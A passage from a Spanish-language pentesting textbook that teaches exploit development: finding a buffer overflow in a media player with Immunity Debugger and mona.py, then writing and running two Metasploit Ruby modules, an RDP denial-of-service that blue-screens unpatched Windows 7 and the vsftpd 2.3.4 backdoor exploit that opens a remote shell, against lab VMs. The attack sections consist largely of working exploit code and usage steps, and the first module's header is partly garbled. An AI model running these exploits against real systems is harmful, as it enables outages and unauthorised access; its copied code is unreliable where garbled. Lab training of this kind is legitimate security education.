Antes de que sigamos con esto, hay que aclarar ciertos puntos. Cuando se carga una aplicación o un binario a Immunity Debugger, este por defecto abrirá un panel nombrado “CPU” que es el que se ve en la imagen anterior, este está dividido de 4 componentes: Dissasembly (Desmontaje): Esta parte está dividida en 4 columnas, en la primera se puede ver la dirección de memoria o “Memory address”, en la segunda se muestra el código de operación de la instrucción que se halla en esa dirección, el lenguaje máquina está hecho con estos códigos de operación, que son lo que el CPU está ejecutando en realidad. En la tercera columna se encuentra el código ensamblador, y la cuarta es la que contiene comentarios, estos los produce el Debugger, sin embargo, tu puedes cambiarlos. Registers (Registros): Aquí se pueden visualizar todos los registros del CPU y sus valores, se pueden ver registros de propósito general (General Purpose) los cuales contienen valores temporales, y también se ven registros para controlar el flujo del programa, también se pueden ver registros bandera, los cuales el CPU cambia cuando ha ocurrido algo importante o notorio (como un Overflow). Dump (Volcado): Esta ventana muestra la vista hexadecimal del programa completo, dividida en 3 columnas, la primera muestra la dirección, la segunda los valores que se hallan en esa dirección, y la última muestra cometarios.
Stack (Pila): Muestra la locación de memoria a la que apunta el registro “ESP”. Entendidos los puntos anteriores, es momento de correr el programa sobre el Debugger para poder interpretar mejor las instrucciones que se llevan a cabo para esta ejecución, para ello haremos clic en la opción “Run”, al principio verás unos movimientos en las instrucciones e inmediatamente aparecerá en detención (Paused) el programa, esto lo puedes verificar en la esquina inferior derecha del Debugger, esto no quiere decir que no funcione correctamente el programa, si no que las instrucciones de inicio trabajan en fases diferentes, solo basta con hacer clic en “Run” una vez más. Luego de esto se abrirá el programa, ahora repetirás los pasos anteriores; cargar el “Playlist” (Script de Python) con extensión .m3u para conseguir el “Crash”:
Imagen 32.9 – 33.3: Proceso de Debugging y Crashing de la Aplicación.
Como lo habrás notado, la aplicación también se detuvo o hizo “Crash” en el Debugger, simplemente no se muestra más la parte de “Dissasembly”. Sin embargo, en las partes del Register y el Stack podrás ver algo peculiar, se trata de los registros ESP y EIP. El registro ESP (Stack Pointer) apunta a una dirección, la cual contiene como valor “HMex”, impreso 17890 veces, y EIP, apunta hacia una dirección que es la 4D487865, así como también en el Stack aparece la misma dirección con el mismo valor:
Imagen 33.4 y 33.5: Identificación de registros afectados, direcciones y valores en ellos.
Con lo anterior ya sabemos cuáles son los registros afectados, cuales son las direcciones de estos y cuál es el valor que existe en el Stack que se desbordó. Ahora es momento de usar algo diferente que nos será útil para crear código aún más perjudicial. Se trata de “Mona.py”, esté es un repositorio que trabaja en conjunto y solamente para Immunity Debugger, funciona como un “plug-in” que tiene como finalidad el apoyarnos con la escritura de exploits. Esta herramienta viene incluida en el material de trabajo para este capítulo, dentro de la carpeta “mona-master” Para que funcione con el Immunity Debugger simplemente deberá agregarse a la carpeta “PyCommands” que se encuentra en el directorio de instalación del Debugger, solamente vas copiar el archivo con extensión .py. Una vez colocado tendrás que reiniciar Immunity Debugger:
Imagen 33.6 y 33.7: Ubicación y colocación de “mona.py”.
Terminado lo anterior, obviamente tendrás que repetir los pases anteriores hasta la parte en donde vimos los registros ESP e EIP afectados. Luego que retomes el punto anterior, ejecutarás tal cual lo siguiente en la barra de comandos de Immunity Debugger: !mona pc 17890
Donde: !mona: Manda a llamar al plug-in, el signo de exclamación es obligatorio. pc: Significa “Pattern create” o crear patrón, simplemente hará eso. 17890: El número de patrones que deseamos crear. Al momento de la ejecución aparecerá una nueva ventana con texto en verde neón, indicando el proceso de la acción ejecutada, así como también muestra detalles sobre lo que solicitamos, como lo es el tiempo de compilación y el nombre del archivo de salida (output), que es “pattern.txt”
El renglón con caracteres más largo que vemos es el patrón de 17890 bytes que solicitamos crear, también veremos una nota en color rojo indicando algo importante, indica que no es recomendable copiar el patrón desde ahí mismo en el Debugger, ya que puede aparecer cortado, por lo que habrá que copiarlo directamente desde el archivo de salida con extensión .txt, este reside en el directorio de instalación de Immunity Debugger.
Imagen 33.8 y 33.9: Proceso de comando de mona.py y .txt generado.
Una vez que tengas ubicado el archivo, lo abrirás y copiarás todo el patrón fue generado con mona.py desde el Debugger y harás el siguiente cambio en el código del primer script de Python, en donde reemplazarás el texto “HMex” por el patrón que copiaste, al final del texto a imprimir indicarás que quieres esa impresión 2 veces (*2), guardarás los cambios y ejecutarás el script:
Imagen 34.0 y 34.1: Patrones aleatorios y su adjunto al código de Python.
Una vez que hayas finalizado todo lo anterior, desde el Debugger reiniciarás el programa, desde el menú “Debug” mediante la opción “Restart”, al hacer esto nos arrojará un aviso acerca del proceso que actualmente se está corriendo con este programa, indicando que no se podrá limpiar el Workspace y no se podrán guardar cambios si se realiza esto, diremos que sí.
Imagen 34.2: Reinicio del programa.
Una vez que demos el SI, se restablecerán las 4 ventanas que constituyen el panel de CPU. Repetirás los mismos pasos que van desde el inicio de programa en el Debugger hasta la selección y carga del “Playlist” que en este caso se trata del script en Python que trae los patrones creados con mona.py. Una vez cargado, verás que la aplicación tendrá de nuevo un “Crash”, siendo este un Overflow ocasionado por el código proporcionado. En la ventana de Registers y Stack verás que ahora abundan los caracteres aleatorios que fueron sacados del archivo “pattern.txt”, así como también podrás notar que el registro ESP apunta a una dirección con datos (Caracteres aleatorios), esta dirección también se encuentra en la ventana de Stack:
Imagen 34.3 y 34.4: Aplicación desbordada, caracteres aleatorios y valores en registros.
Ahora que conseguimos este nuevo “Overflow”, haremos unos nuevos cambios gracias a la dirección obtenida por el registro EIP, que en este caso se trata de “57316157”, esta dirección la proporcionáremos como referencia para una nueva instrucción para “mona.py”, para esto se ejecutará el comando “Pattern offset” o “po”, seguido de la dirección EIP. Ejecutando el comando con la sintaxis siguiente: !mona po “Dirección EIP”.
Al hacerlo, se mostrará el proceso de ejecución del comando, indicándonos que ha encontrado un patrón en una posición cíclica, siendo esta en este caso 17163:
Imagen 34.5: Proceso del comando “Pattern Offset” por “mona.py”.
Este número que nos arrojó el Debugger lo usaremos para añadirlo al script y hacer cambios en este. Esto con el fin de ocasionar de nuevo la detención del programa, sin embargo, verificaremos los nuevos resultados que se mostrarán en el Debugger. Al código de Python le añadiremos 3 líneas nuevas y modificaremos la primera y la penúltima, quedando de esta forma: primeravariable= "HMex" punch= "PS"*17163 dirEIP= "EIP" punch2= "HM"*2846 archivo=open("Playlist.m3u","w") archivo.write(primeravariable+punch+dirEIP+punch2); archivo.close()
Imagen 34.6: Nuevo código.
Hecho esto, guardarás los cambios, ejecutarás el código, reiniciarás el programa en Immunity Debugger, lo correrás de nuevo y cargarás este script como un nuevo “Playlist”:
Imagen 34.7 – 35.0: Compilación del código, reinicio del programa, y nuevo desbordamiento de pila.
Al conseguir el desbordamiento, veremos en la ventana de “Registers” la dirección a la que apunta el registro EIP, que es la 484D84D, si verificamos a detalle la ventana “Stack”, podremos ver que en ella se encuentran los valores proporcionados en el código de Python, apuntando las direcciones hacia el valor “HM”, que es el referente al registro EIP con dirección 484D484D, también vemos el valor “EIP” y “PS” proporcionados en el script, cada uno apuntando a direcciones diferentes, viéndose de la siguiente manera:
Imagen 35.1: Direcciones y Valores mostrados en Ventana del “Stack”
Hasta ahora se ha demostrado de diferentes maneras como se puede conseguir el “Crash” o detención de una aplicación o programa mediante el desbordamiento de la pila o “Stack” que se encuentra en el código de este. Ahora, es momento de llevar las cosas algo más allá, en donde lejos de cerrar un programa al aprovecharse de la vulnerabilidad con la que cuenta, poder conseguir el “Crashing” total de un sistema Windows, también mediante el código que verás en las siguientes páginas. Existe un detalle más, como la vulnerabilidad de la que te vas a aprovechar funciona mediante un servicio de Windows (Remote Desktop Service), aquí no podrás buscar un file que contenga código malicioso y abrirlo, ni harás un script con caracteres aleatorios, ni tampoco harás Reversing o Debugging del programa. Ahora con el código antes mencionado, lo exportarás hacia los repositorios de Metasploit, creando así tu propio módulo para que después te apoyes del Framework para poder usar este bloque de código a su modo de Metasploit, y después conseguir el Denial of Service, y para esto… existe todo un proceso que seguir, antes de ello, es importante que sepas unas cosas acerca de crear tu propio módulo en Metasploit.
Formulación de tu primer Auxiliary.
Como pentester, es importante que sepas que se habrá ocasiones en las que tendrás las buscar la manera de perjudicar ciertos recursos informáticos debido a que no cuentas con los medios para conseguir este fin, como lo es algún exploit o auxiliar para atacar algo, por lo que tendrás que compilar código por tu cuenta y posteriormente añadirlo al Framework para probar su eficacia. Al iniciar con esto doy por hecho que estas familiarizado con algo de programación o puedes comprender lo que hace cada línea del código, así como también has entendido lo que implica una vulnerabilidad “Buffer Overflow”. El siguiente escenario te encontrarás con una máquina virtual que cuenta con Windows 7, esta trae consigo una versión vulnerable de del RDP (Remote desktop protocol), la cual afecta al servicio de escritorio remoto de Windows, siendo también un overflow. Con el siguiente código, conseguirás explotar esta vulnerabilidad y así mismo la adición de este a Metasploit, a pesar de que este código tiene la función de explotar esta vulnerabilidad, se le asignará al módulo “Auxiliary”, ya que la sintaxis para uso de código en Metasploit establece que se necesita un payload para poder hacer uso de la librería “Exploit”, por lo que se quedará como un “auxiliar”, aunque resulte igual de perjudicial que un exploit, para los exploits siempre debe de existir un bloque de información acerca de un payload, si no existe tal, se le considera un Auxiliar..
Elaboración de tu primer módulo en Metasploit. Bien, la creación de un módulo en Metasploit te puede resultar relativamente fácil, obviamente si ya tienes alguna habilidad programando o al menos entiendes lo que hacen las líneas de un determinado código. Para ello, tendrás que programar o “codear” ciertas cosas para que esto funcione bien. Nuestra primera aproximación de este tipo será con un código que estará hecho en Ruby. Como la mayor parte de la arquitectura de Metasploit está hecha en base a, vamos a trabajar sobre un código en este lenguaje. ¿Qué es un módulo en Metasploit? Metasploit cuenta con un extenso repositorio de scripts, encoders, exploits, etc. Estos van por categorías y clasificaciones, dependiendo el uso que se les vaya a dar, en singular, un módulo es el lugar en donde se encuentra un bloque de código que funciona con Metasploit, ya sea cualquiera de los tipos de repos antes mencionados, pero para que un módulo funcione bien debe tener cierta sintaxis el código para que Metasploit lo tome en cuenta, por ello es importante la sintaxis de esta acción en el código antes mencionado.
¿Qué es lo que haremos para lograr explotar esta vulnerabilidad? Si una Máquina Windows no ha sido “parchada” con KB2671387, es susceptible a un ataque de Denegación de Servicio (DoS), en donde un atacante puede inhabilitar él equipo y formar la famosa Pantalla Azul de Muerte (BSOD). Como se mencionó en el equipo Windows 7 se halla una versión vulnerable del servicio de escritorio remoto de Windows, (Remote Desktop Service), el fallo de seguridad de esta consta en que hacia este servicio se envíen peticiones o “requests” medidas en bytes (210 es lo común), ocasionando un desbordamiento del “Stack” o pila de este programa, la pequeña gran diferencia es que este programa no va a simplemente cerrarse al momento del “Overflow”, hará que ocurra un error interno a nivel kernel ocasionado la famosa “Blue Screen Of Death”, ya que sabemos esto, es momento de comenzar. Parrot cuenta con un editor de texto bastante bueno, se trata de “Pluma”, este podemos abrirlo desde una consola:
Imagen 35.2: Comando de “pluma”.
Sabiendo todo lo necesario, usaremos el siguiente código para para crear nuestro Auxiliary para Buffer Overflow: NOTA: Este código también vine incluido en me material de trabajo referente a este capítulo.
require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Nombre' => 'BufferOverflow_Win7_RemoteDesktopService', 'Description' => %q{ Exploit que genera un Crash del sistema debido a las peticiones generadas hacia el servicio RDP. },
'Autor' => [ 'Tu_Nombre' ], 'Tipo de uso' ))
=> MSF_LICENSE,
register_options( [ Opt::RPORT(3389) ], self.class) end def si_el_servicio_esta_funcional begin connect disconnect return true rescue Rex::ConnectionRefused return false rescue Rex::ConnectionTimeout return false end end def run tercer_overflow = "\x02\x01\xff" pkt = ''+ "\x03\x00\x00\x13" + # TPKT: version + length "\x0E\xE0\x00\x00" + # X.224 (connection request) "\x00\x00\x00\x01" + "\x00\x08\x00\x00" + "\x00\x00\x00" + "\x03\x00\x00\x6A" + # TPKT: version + length "\x02\xF0\x80" + # X.224 (connect-initial) "\x7F\x65\x82\x00" + # T.125 "\x5E" + "\x04\x01\x01" + # callingDomainSelector "\x04\x01\x01" + # calledDomainSelector "\x01\x01\xFF" + # upwardFlag "\x30\x19" + # targetParameters tercer_overflow + # 3rdBOFF "\x02\x01\xFF" + # maxUserIds "\x02\x01\x00" + # maxTokenIds "\x02\x01\x01" + # numPriorities "\x02\x01\x00" + # minThroughput "\x02\x01\x01" + # maxHeight "\x02\x02\x00\x7C" + # maxMCSPDUsize "\x02\x01\x02" + # protocolVersion "\x30\x19" + # minimumParameters tercer_overflow + # 3rdBOFF "\x02\x01\xFF" + # maxUserIds "\x02\x01\x00" + # maxTokenIds "\x02\x01\x01" + # numPriorities "\x02\x01\x00" + # minThroughput "\x02\x01\x01" + # maxHeight "\x02\x02\x00\x7C" + # maxMCSPDUsize "\x02\x01\x02" + # protocolVersion "\x30\x19" + # maximumParameters tercer_overflow + # 3rdBOFF "\x02\x01\xFF" + # maxUserIds "\x02\x01\x00" + # maxTokenIds "\x02\x01\x01" + # numPriorities "\x02\x01\x00" + # minThroughput "\x02\x01\x01" + # maxHeight "\x02\x02\x00\x7C" + # maxMCSPDUsize "\x02\x01\x02" + # protocolVersion "\x04\x82\x00\x00" + # userData "\x03\x00\x00\x08" + # TPKT: version + length "\x02\xF0\x80" + # X.224 "\x28" + # T.125 "\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224 "\x28" + # T.125 "\x03\x00\x00\x08" + # TPKT: version + length "\x02\xF0\x80" + # X.224 "\x28" + # T.125 "\x03\x00\x00\x08" + # TPKT: version + length "\x02\xF0\x80" + # X.224 "\x28" + # T.125 "\x03\x00\x00\x08" + # TPKT: version + length "\x02\xF0\x80" + # X.224 "\x28" + # T.125 "\x03\x00\x00\x08" + # TPKT: version + length "\x02\xF0\x80" + # X.224 "\x28" + # T.125 "\x03\x00\x00\x08" + # TPKT: version + length "\x02\xF0\x80" + # X.224 "\x28" + # T.125 "\x03\x00\x00\x08" + # TPKT: version + length "\x02\xF0\x80" + # X.224 "\x28" + # T.125 "\x03\x00\x00\x0C" + # TPKT: version + length "\x02\xF0\x80" + # X.224 "\x38\x00\x06\x03" + # T.125 "\xF0" + "\x03\x00\x00\x09" + # TPKT: version + length "\x02\xF0\x80" + # X.224 "\x21\x80" # T.125
unless si_el_servicio_esta_funcional print_error("#{rhost}:#{rport} - Algo anda mal, conexion no establecida") return end connect print_status("#{rhost}:#{rport} - Enviando #{self.name}") sock.put(pkt) Rex.sleep(3) disconnect print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes enviados") print_status("#{rhost}:#{rport} - Verificando la situacion, un segundo") if si_el_servicio_esta_funcional print_error("#{rhost}:#{rport} - Algo anda mal, conexion no establecida") return else print_good("#{rhost}:#{rport} Buen trabajo, esta inhabil") report_vuln({ :host => rhost, :port => rport, :name => self.name, :refs => self.references, :info => "Module #{self.fullname} Desbordamiento conseguido hacia el servicio RDP" }) end end end
Al comienzo del bloque de código podemos ver algo acerca de Metasploit, en donde nos topamos con las líneas encargadas de que el Framework reconozca este código como un módulo funcional, gracias a la sintaxis siguiente:
Imagen 35.3: Librería “core” y clase “MetasploitModule”.
En donde de la línea 1 a la 8: require ‘msf/core’: La librería “core” provee los fines con los que se quiera utilizar el framework, ya sea un enconder, un exploit, un auxiliar, un post, etc. class: Indicará las categorías en las que se hallará el módulo. Después de la línea 9 a la 29 especificamos la descripción acerca módulo que se verá en el Framework, así como el puerto que vendrá por default, que es el 3389:
Imagen 35.4: Descripción de módulo y config. de puerto.
En el segmento de líneas 30 a la 45 nos encontramos con unos condicionales, en donde se establecen las acciones a llevarse a cabo en caso de que el Host remoto responda o no:
Imagen 35.5: Condicionales acerca de la respuesta por parte del Host Vulnerable.
Ahora de la línea 46 a la 117, nos encontraremos con un ShellCode, que es el código que realizará la acción perjudicial sobre el host remoto, ocasionando el desbordamiento de la pila o “Stack” de este servicio:
Imagen 35.6: Bloque de ShellCode.
Y, por último, de la línea 118 a la 149 nos encontramos con un último condicional relevante a la respuesta del Host remoto, así como también el bloque de código desde “connect” hasta “print_good”, que es en donde se lleva a cabo el proceso de establecer la conexión una vez enviado el “ShellCode”, mostrando mediante diferentes comentarios que hace cada línea o bloque. Al último vemos en “report_vuln” las variables con las que trabaja el Módulo, que como ya aprendiste en el nivel COISP 1, en Metasploit se trata de “info”, “RHOST”, “RPORT”, “NAME”, etc.
Imagen 35.8: Condicionales y parámetros de funcionalidad.
Una vez que esté terminado este código lo guardarás con el nombre de tu preferencia y con extensión “. rb” que es la de “Ruby”. Hecho esto, deberá aparecerte el archivo con el ícono de un Ruby, ahora este archivo lo trasladarás hacia este directorio, que es en donde reside el Framework de Metasploit y sus repositorios, ya sea que lo ubiques por consola o por interfaz gráfica, y dentro crearás un nuevo directorio en donde guardarás este código hecho en Ruby. Es recomendable que no se coleen tus módulos con los ya existentes:
Imagen 35.9 y 36.0: Directorios de repos de Metasploit y módulo guardado.
Ahora qué ya tienes todo listo, es momento de que inicies el Framework de Metasploit, y como ya sabes también, primero hay que inicializar el servicio de la base de datos de la que depende principalmente Metasploit, PostgreSQL. En estas nuevas versiones de Parrot la forma de iniciar el servicio ha cambiado, ahora se usa “systemctl”, que también tiene una sintaxis muy simple, ejecutaremos los 2 siguientes comandos para iniciar de forma correcta el Framework: systemctl start postgresql y msfconsole:
Imagen 36.1: Inicio de servicio de BD, revisión e inicio de Metasploit.
Una vez iniciado el Framework simplemente entraremos al módulo que acabas de crear, la manera o comando para entrar esta demás mencionarlos. Una vez ahí, configuraremos el módulo con las opciones requeridas, para esto hacemos uso del comando “Show options” para ver los parámetros de configuración de este módulo, en donde vemos que se trata de las variables RHOST en donde irá la IP de maquina victima (192.168.42.33 en este caso) y RPORT (3389 que ya está configurado por default):
Imagen 36.2: Parámetros de conf. del módulo
Solo basta con agregar al parámetro de configuración “RHOST” la dirección IP y ejecutar el módulo con el comando “run”, poniendo a trabajar el código en Ruby y ocasionando lo siguiente en Windows, mostrando el “BSOF” antes mencionado, recolectando información acerca de lo sucedido:
Imagen 36.3: Ejecución del módulo y resultados de este.
Formulación de exploit para servidores FTP.
Es común que los usuarios busquen la manera de transferir archivos entre diferentes equipos dentro de una red local, para ello suelen emplear un servidor FTP, el cual les permite o facilita lo antes descrito. Por el significado de su acrónimo (File Transfer Protocol), es un protocolo utilizado para la transferencia de archivos entre computadoras e internet, y por obvias razones estos pueden contener información, ya sea importante o no. Habrá ocasiones en las que nos encontremos con servidores FTP qué aún conservan las configuraciones por default al momento de la instalación de los mismos, o no han sido configurados de la forma correcta, dejándolos a la deriva, esperando a que alguien encuentre la forma de poder perjudicarlos, ya sea con la detención del servicio que ofrecen estos, o algo más comprometedor como la ejecución de un payload sobre este, en donde lejos de causar un desbordamiento de pila, podrás conseguir una Shell interactiva sobre el sistema remoto. Después de habernos ensuciado las manos un poco con el código anterior en Ruby para conseguir un DoS, es momento de hacer algo más perjudicial. La aproximación que haremos constará en aprovecharse de una vulnerabilidad con la que cuenta el servidor FTP que existe en nuestra red, el cual será Metasploitable 2, la cual consta de la existencia de malware en él, ahora nuestro trabajo es invocar a este mediante la inyección de un payload, el cual establecerá la conexión con el mismo y así será como conseguiremos la Shell antes descrita sobre el sistema. ¿Qué es Metasploitable? Es un recurso informático (una máquina virtual en este caso) que fue creada por el mismo equipo de desarrollo de Metasploit, esta VM hecha en Linux cuenta con diferentes vulnerabilidades escondidas o distribuidas en el sistema, esperando a ser descubiertas y atacadas. Por ello, Metasploitable 2 (versión que usaremos) una máquina virtual que es utilizada para llevar a cabo pruebas, capacitaciones en seguridad, probar herramientas o técnicas para pentesting. Esta VM está disponible para ambos ambientes de virtualización (VMware y Virtual Box), la razón por la que no se utilizó la versión 3 de Metasploitable es debido a que oficialmente no está disponible para VMware, por lo que usaremos la VM con versión anterior, la cual viene incluida en el material proporcionado referente a este capítulo, aunque también puedes descargarlo desde el siguiente enlace: https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
¿Qué necesitarás para este ejercicio? Parrot Security OS, cualquier versión, en este caso usaras la 3.4 proporcionada. Metasploitable 2 Ambas VM deberán tener configurado el adaptador de red en modo NAT.
Al abrir el archivo .vmx de Metasploitable 2, se mostrará la siguiente descripción acerca de la máquina virtual en VMware, en donde podemos ver que se proporciona un usuario y password para el Loggeo en Metasploitable 2, siendo ambos “msfadmin” :
Imagen 36.4: Metasploitable 2 en VMware.
Estando listas ambas VM’s, las encenderemos y posteriormente nos loggearemos en cada una, en Parrot el usuario y password son “root y toor”, las de Metasploitable 2 ya sabes cuales son.
Imagen 36.5: Metasploitable en función.
Ambas máquinas virtuales ya están en función, el atacante y la víctima, ya sabemos que Metasploitable 2 o el servidor FTP se encuentra en el mismo segmento de red que nosotros, solo falta saber su identidad, con esto nos referimos a un número distintivo con el que cuentan todos los dispositivos conectados a una red, obviamente se trata de la dirección IP. Para esto haremos uso de una herramienta llamada “Sparta”, esta sirve para llevar a cabo tareas de Reconnaissance, Network Fingerprinting o Information Gathering, esto nos servirá para identificar al servidor FTP en nuestra red y obtener más detalles sobre él. Podemos iniciar “Sparta” desde el menú “Applications”, en “Parrot”, “Information Gathering”, “Network Identifiers”, “Sparta” o desde una terminal ejecutando el comando “sparta”, en donde una vez abierto utilizaremos la acción “Scan”, durante el proceso veremos que se enlistarán diferentes Hosts, mientras que en la barra inferior indica el puerto sobre el que se está llevando a cabo la acción de escaneo y la herramienta por la que está pasando, (una de varias durante el proceso) en este caso es Nikto. *En el libro y certificación COISP Nivel 1 se toca más a detalle el uso de Nikto:
Imagen 36.6 y 36.7: Inicio de Sparta y escaneo de la Red.
Durante el escaneo, algo que quizás notes es que se lleva a cabo una acción llamada “Screenshot”, lo que hace esta es tomara una captura de pantalla (si es posible) del host remoto, esto con la finalidad de facilitarnos la tarea de identificar a un Host en específico, esta acción se puede mostrar en la barra de progreso, indicando el puerto sobre el que opera, el host sobre el que está trabajando, fecha, hora y estatus. En este ejemplo nos indica que sobre el host 192.168.42.139 se está llevando a cabo esta acción, para verificar esta captura realizada pasaremos a la pestaña “Tools” para revisar lo anterior, en donde veremos lo siguiente:
Imagen 36.8 y 36.9: Identificación de Host Metasploitable 2 y acción de Screenshot.
Gracias a la función antes descrita, ya sabemos que el host 192.168.42.139 se trata de Metasploitable 2 (En este ejemplo), sabiendo esto es momento de pasar a hacerle exclusivamente a este un Fingerprinting un poco más riguroso. También verás que, al finalizar el escaneo de la red, se mostrara un icono identificador para cada sistema encontrado (Hosts), en este caso se trata de un Linux, haremos clic derecho en el host correspondiente a Metasploitable 2 y seleccionaremos la acción “Portscan” para usar la penúltima opción, que incorpora el uso de Nmap con perfil “Quick Scan Plus” dentro de esta herramienta. Durante el proceso del Fingerprinting veremos que entre los puertos abiertos esta el 21, que es donde corre el protocolo FTP con versión vsftpd 2.3.4, de la cual nos aprovecharemos y conseguiremos a explotar:
Imagen 37.0 y 37.1: Uso de Nmap en Sparta y Fingerprinting del Host Metasploitable 2.
Antes de continuar es importante saber de qué es lo que exactamente estamos por aprovecharnos o por explotar. El servidor FTP antes descrito, dispone de actualizaciones descargadas que cuentan con una vulnerabilidad bastante crítica, esta consiste en que dentro de los repos de dichas actualizaciones se halla un malware que es activado (Triggered) o puesto en función mediante el apoyo de un payload, el cual vendrá dentro de nuestro exploit, ya que cómo se sabe, los exploits para ser considerados tal cuales requieren de un bloque de información referente a un payload, con lo anterior entendido, al momento de que el malware y el payload se encuentren, obtendremos una Shell que estará en función en el puerto 6200 del sistema Linux. Para esto, usaremos el siguiente código, que también está hecho en Ruby del cual estarás familiarizado con algunas cosas: require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Nombre' => 'VSFTPD v2.3.4 Backdoor Command Execution', 'Info' => %q{ Este exploit se aprovecha de la vulnerabilidad de backdoor existente en servidor FTP en Metasploitable2 }, 'Autor' => [ 'Tu', 'TuPC' ], 'Licencia' => MSF_LICENSE, 'Privileged' => true, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 2000, 'BadChars' => '', 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Targets' => [ [ 'Automatic', { } ], ], 'Fecha de Creacion' => 'D1a del Curs0', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(21) ], self.class) end
# Despues de esta linea comienzan los condicionales correspondientes a cada caso def exploit nsock = self.connect(false, {'RPORT' => 6200}) rescue nil if nsock print_status("Puerto a la escucha abierto") handle_backdoor(nsock) return end connect banner = sock.get_once(-1, 30).to_s print_status("Banner o mensaje: #{banner.strip}") sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n") resp = sock.get_once(-1, 30).to_s print_status("USER: #{resp.strip}") if resp =~ /^530 / print_error("Las medidas de seguridad han cambiado, conexion no establecida") disconnect return end if resp !~ /^331 / print_error("Este servidor no funciona como lo esperabas: #{resp.strip}") disconnect return end sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n") nsock = self.connect(false, {'RPORT' => 6200}) rescue nil if nsock print_good("Conexion establecida con el malware...") handle_backdoor(nsock) return end disconnect end def handle_backdoor(s) s.put("id\n") r = s.get_once(-1, 5).to_s if r !~ /uid=/ print_error("Shell no conseguida :(") disconnect(s) return end print_good("IDUsuario: #{r.strip}") s.put("nohup " + payload.encoded + " >/dev/null 2>&1") handler(s) end end
El código anterior es el qué constituirá nuestro exploit o módulo en Metasploit, a continuación, se te explicará cómo es que funciona este: IMPORTANTE: Independientemente de que dentro del material de trabajo para este libro se te proporcione el código de los auxiliaries o exploits, si no estás familiarizado con el “codeo” o no tienes la suficiente destreza programando debes de tomarte unos minutos y leerlos, no te será demasiado útil lo anterior si en estos ejercicios solo haces copy-paste, de lo contrario… ¿Cómo sabrás que es lo que está por ocurrir?
El código anterior será el encargado de conseguir nuestra Shell sobre el host remoto, que es el servidor FTP vulnerable. Algo que de seguro notaste, es que este nuevo código consta de casi 50 líneas menos, como ya sabes, esta vulnerabilidad consta en invocar al malware desde la ejecución del payload antes mencionado, por lo que resulta una parte más corta al momento de “codear” el exploit, aunque se trate de dos plataformas diferentes (Windows/Linux), también resulta más perjudicial que el exploit o código del ejercicio anterior. Como se ejemplificó en el ejercicio anterior, deberás de seguir los mismos pasos para compilar tu módulo de Metasploit, desde abrir el editor de texto “Pluma”, hasta la colocación del script en Ruby en el directorio correspondiente. Teniendo entendido lo anterior, compilarás esto y lo guardarás en el siguiente directorio, demos un último vistazo a lo que compone el código y que es lo que hace. Donde: De la línea 4 a la 9 podremos notar como estamos especificando que este código trabajará con la librería “core” del Framework de Metasploit, también indicamos en la clase “MetasploitModule”, indicando el tipo de funcionalidad (Remote) y la calificación. En la línea 11, con “def” estamos declarando el método referente a la información del payload, como lo son detalles acerca de su funcionamiento, en las demás líneas también podemos ver especificaciones del exploit como lo es el Autor, la plataforma en la que funciona, la arquitectura por la que trabajará, payload etc.
Imagen 37.2: Declaración de clase y método para el exploit.
De la línea 23 a 38 continuaremos con el bloque referente al método de inicialización declarado, en estas líneas podremos encontrar detalles acerca del payload que usaremos, como lo es el espacio en bytes, la no especificación de “BadChars”, la inhabilitación de los No Operations, el tipo de payload y la conexión que se establece por búsqueda (referente al malware), al final se especificó que el puerto en donde estará en función esté exploit.
Imagen 37.3: Declaración de clase y método.
De la línea 44 a 67, nos encontramos con otro método declarado referente directamente al exploit, ahora con condicionales. En donde iniciamos con “sockets” la conexión que se establecerá para la Shell en el puerto 6200 del Host Linux, mostrando un “Status” acerca de la situación del mismo al momento del encuentro con el malware. Si después de lo anterior se establece la conexión, mostraremos un “Banner” en donde puede haber 3 mensajes, 2 acerca de errores y conexiones no establecidas y uno sobre lo contrario a lo anterior:
Imagen 37.4: Declaración método y condicionales para el exploit.
Imagen 37.5: Declaración método y condicionales para el exploit.
Por último, entre las líneas 88 y 105 nos encontraremos un método final que está declarado, en este caso se trata del bloque de código que hará el trabajo con el backdoor o malware que reside en el Host remoto, en donde veremos un condicional y diferentes “print statements” correspondientes a cada uno de los resultados u outputs que se obtengan, siendo estos el establecimiento o fallo de la conexión entre atacante y Host.
Imagen 37.6: Declaración método y condicionales para el encuentro con él malware.
Ahora que has finalizado con el código, lo guardarás con el nombre de tu preferencia (en este caso fue ftp_exploit_hm.rb” es importante colocar la extensión de Ruby al final, seguido de esto colocarás el script en el siguiente directorio que es donde residen los exploits en Parrot OS como lo es en la mayoría de las distros para pentesting, y, por ende, donde este corresponde. /user/share/metasploit-framework/modules/exploits/unix/ (“como quieras llamar a este folder”)
Imagen 37.7: Directorio del exploit formulado.
Una vez finalizado el proceso de formulación de tu exploit, es momento de ponerlo a trabajar y probarlo, para ello habrá que utilizar el framework de Metasploit. Como ya sabes, habrá que inicializar el servicio de BD con el que opera el Framework, que es PostgreSQL e iniciar Metasploit.
Imagen 37.8: Inicio de servicio de Base de datos y del Framework.
Una vez inicializado el Framework, entrarás a tu módulo, que es el exploit que recién creaste. Para ello solo basta con hacer uso del comando “use” y con el buscar a tu exploit entre el repositorio del contenido en Metasploit, basta con saber la categoría y nombre:
Imagen 37.9: Directorio del exploit formulado.
Una vez estando dentro de nuestro módulo, ejecutaremos el comando “show options” para enlistar o mostrar los parámetros de configuración con los que este opera o funciona, en donde veremos que solamente requerimos de 2: Un Host remoto y un puerto remoto. En lo que se refiere al Host se trata de la dirección IP de este, en este caso estamos hablando de la máquina virtual “Metasploitable 2” la cual está en función como un servidor FTP vulnerable, en cuanto el puerto, se trata del puerto 21, que es donde corre el servicio FTP. Para esto usaremos los comandos la misma sintaxis que en ejercicio anterior, siendo estos set RHOST y set RPORT en donde colocaremos la dirección IP y el puerto y al final lo ponemos en acción con “run”:
